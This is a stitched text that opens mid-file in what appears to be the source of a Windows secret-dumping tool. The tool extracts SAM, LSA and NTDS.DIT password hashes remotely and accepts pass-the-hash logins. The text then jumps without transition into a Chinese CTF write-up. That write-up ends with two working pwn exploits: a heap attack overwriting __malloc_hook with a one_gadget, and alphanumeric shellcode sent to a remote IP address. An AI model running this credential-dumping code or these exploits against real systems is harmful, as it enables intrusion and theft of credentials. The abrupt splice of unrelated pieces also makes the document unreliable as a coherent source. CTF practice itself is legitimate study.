self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
isRemote=self.__isRemote, history=self.__history)
self.__LSASecrets.dumpCachedHashes()
if self.__outputFileName is not None:
self.__LSASecrets.exportCached(self.__outputFileName)
self.__LSASecrets.dumpSecrets()
if self.__outputFileName is not None:
self.__LSASecrets.exportSecrets(self.__outputFileName)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error('LSA hashes extraction failed: %s' % str(e))
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
if self.__isRemote is True:
if self.__useVSSMethod and self.__remoteOps is not None:
NTDSFileName = self.__remoteOps.saveNTDS()
else:
NTDSFileName = None
else:
NTDSFileName = self.__ntdsFile
self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
outputFileName=self.__outputFileName, justUser=self.__justUser,
printUserStatus= self.__printUserStatus)
try:
self.__NTDSHashes.dump()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
logging.error(e)
if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0:
logging.info("You just got that error because there might be some duplicates of the same name. "
"Try specifying the domain name for the user as well. It is important to specify it "
"in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
elif self.__useVSSMethod is False:
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(e)
if self.__NTDSHashes is not None:
if isinstance(e, KeyboardInterrupt):
while True:
answer = input("Delete resume session file? [y/N] ")
if answer.upper() == '':
answer = 'N'
break
elif answer.upper() == 'Y':
answer = 'Y'
break
elif answer.upper() == 'N':
answer = 'N'
break
if answer == 'Y':
resumeFile = self.__NTDSHashes.getResumeSessionFile()
if resumeFile is not None:
os.unlink(resumeFile)
try:
self.cleanup()
except:
pass
def cleanup(self):
logging.info('Cleaning up... ')
if self.__remoteOps:
self.__remoteOps.finish()
if self.__SAMHashes:
self.__SAMHashes.finish()
if self.__LSASecrets:
self.__LSASecrets.finish()
if self.__NTDSHashes:
self.__NTDSHashes.finish()
# Process command-line arguments.
if __name__ == '__main__':
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
print(version.BANNER)
parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from "
"the remote machine without executing any agent there.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address> or LOCAL'
' (if you want to parse local files)')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-system', action='store', help='SYSTEM hive to parse')
parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive')
parser.add_argument('-security', action='store', help='SECURITY hive to parse')
parser.add_argument('-sam', action='store', help='SAM hive to parse')
parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse')
parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only '
'available to DRSUAPI approach). This file will also be used to keep updating the session\'s '
'state')
parser.add_argument('-outputfile', action='store',
help='base output filename. Extensions will be added for sam, secrets, cached and ntds')
parser.add_argument('-use-vss', action='store_true', default=False,
help='Use the VSS method insead of default DRSUAPI')
parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec '
'method to use at target (only when using -use-vss). Default: smbexec')
group = parser.add_argument_group('display options')
group.add_argument('-just-dc-user', action='store', metavar='USERNAME',
help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. '
'Implies also -just-dc switch')
group.add_argument('-just-dc', action='store_true', default=False,
help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)')
group.add_argument('-just-dc-ntlm', action='store_true', default=False,
help='Extract only NTDS.DIT data (NTLM hashes only)')
group.add_argument('-pwd-last-set', action='store_true', default=False,
help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data')
group.add_argument('-user-status', action='store_true', default=False,
help='Display whether or not the user is disabled')
group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use'
' the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication'
' (128 or 256 bits)')
group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
# Init the example's logger theme
logger.init(options.ts)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
domain, username, password, remoteName = parse_target(options.target)
if options.just_dc_user is not None:
if options.use_vss is True:
logging.error('-just-dc-user switch is not supported in VSS mode')
sys.exit(1)
elif options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch')
sys.exit(1)
elif remoteName.upper() == 'LOCAL' and username == '':
logging.error('-just-dc-user not compatible in LOCAL mode')
sys.exit(1)
else:
# Having this switch on implies not asking for anything else.
options.just_dc = True
if options.use_vss is True and options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode')
sys.exit(1)
if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None:
logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode')
sys.exit(1)
if remoteName.upper() == 'LOCAL' and username == '':
if options.system is None and options.bootkey is None:
logging.error('Either the SYSTEM hive or bootkey is required for local parsing, check help')
sys.exit(1)
else:
if options.target_ip is None:
options.target_ip = remoteName
if domain is None:
domain = ''
if options.keytab is not None:
Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
options.k = True
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
dumper = DumpSecrets(remoteName, username, password, domain, options)
try:
dumper.dump()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(e)
qwe123!@#
接着找登录密码

Y0u_f1Nd^_^m3_233
将其拼起来九点得到解压密码
qwe123!@#_Y0u_f1Nd^_^m3_233
解压得到 original.png
找到工具CatWatermark解水印,https://github.com/Konano/CatWatermark

得到out.png

flag4的思路同隐写的xor思路
猜测为xor图片
直接将 bin 文件异或PNG前16位固定的文件头

然后将XOR出来的前16位于BIN异或
得到flag4

Web
调查问卷
写调查问卷得到flag
Pwn
vtable_hijack
from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['tmux', 'splitw', '-h', '-p', '80'])
p = process('./pwn')
libc = ELF('./libc.so')
def add(index, size):
p.recvuntil('choice:\n')
p.send(b'1'.ljust(0x10, b'\x00'))
p.recvuntil('index:\n')
p.send(bytes(str(index), 'utf-8').ljust(0x10, b'\x00'))
p.recvuntil('size:\n')
p.send(bytes(str(size), 'utf-8').ljust(0x10, b'\x00'))
def delete(index):
p.recvuntil('choice:\n')
p.send(b'2'.ljust(0x10, b'\x00'))
p.recvuntil('index:\n')
p.send(bytes(str(index), 'utf-8').ljust(0x10, b'\x00'))
def edit(index, size, content):
p.recvuntil('choice:\n')
p.send(b'3'.ljust(0x10, b'\x00'))
p.recvuntil('index:\n')
p.send(bytes(str(index), 'utf-8').ljust(0x10, b'\x00'))
p.recvuntil('length:\n')
p.send(bytes(str(size), 'utf-8').ljust(0x10, b'\x00'))
p.recvuntil('content:\n')
p.send(content)
def show(index):
p.recvuntil('choice:\n')
p.send(b'4'.ljust(0x10, b'\x00'))
p.recvuntil('index:\n')
p.send(bytes(str(index), 'utf-8').ljust(0x10, b'\x00'))
def exit():
p.recvuntil('choice:\n')
p.send(b'5'.ljust(0x10, b'\x00'))
add(0, 0x80)
add(1, 0x60)
add(2, 0x10)
delete(0)
show(0)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x39bb78
print(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + [0x3f3e6, 0x3f43a, 0xd5c07][2]
delete(1)
edit(1, 0x8, p64(malloc_hook - 0x23))
add(3, 0x60)
add(4, 0x60)
edit(4, 0x13 + 8, b'a' * 0x13 + p64(one_gadget))
add(1, 1)
# gdb.attach(p)
p.interactive()
Alpha_Shell
from pwn import*
context(arch='amd64', os='linux', log_level='debug', terminal=['tmux', 'splitw', '-h', '-p', '80'])
#p = process('./attachment')
elf=ELF('./attachment')
p=remote('125.70.243.22',31267)
payload=b'QXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjKTYfi9630t800T810T860T870T880t8B0T8J0T8K0T8L0T8M0T8O0T8P0T8T0T8U0T8V0T8W0t8b0T8g0T8h0T8i0T8j0T8n0T8oRAPZ0t8C0t8E0t8H0t8R0t8S0t8Y0t8Z0t8c0t8e0t8fZRAQZ0T8lZjNTYfi9yb0t800t820T8O0T8P0T8Q0T8R0T8TRAPZ0t83ZHpzflagUUUPH17HKodHAf1RM1RhTTUUXZPHGGTUUUHGFVUUUjUHAbIGBUTUUjqXZP'
p.send(payload)
p.interactive()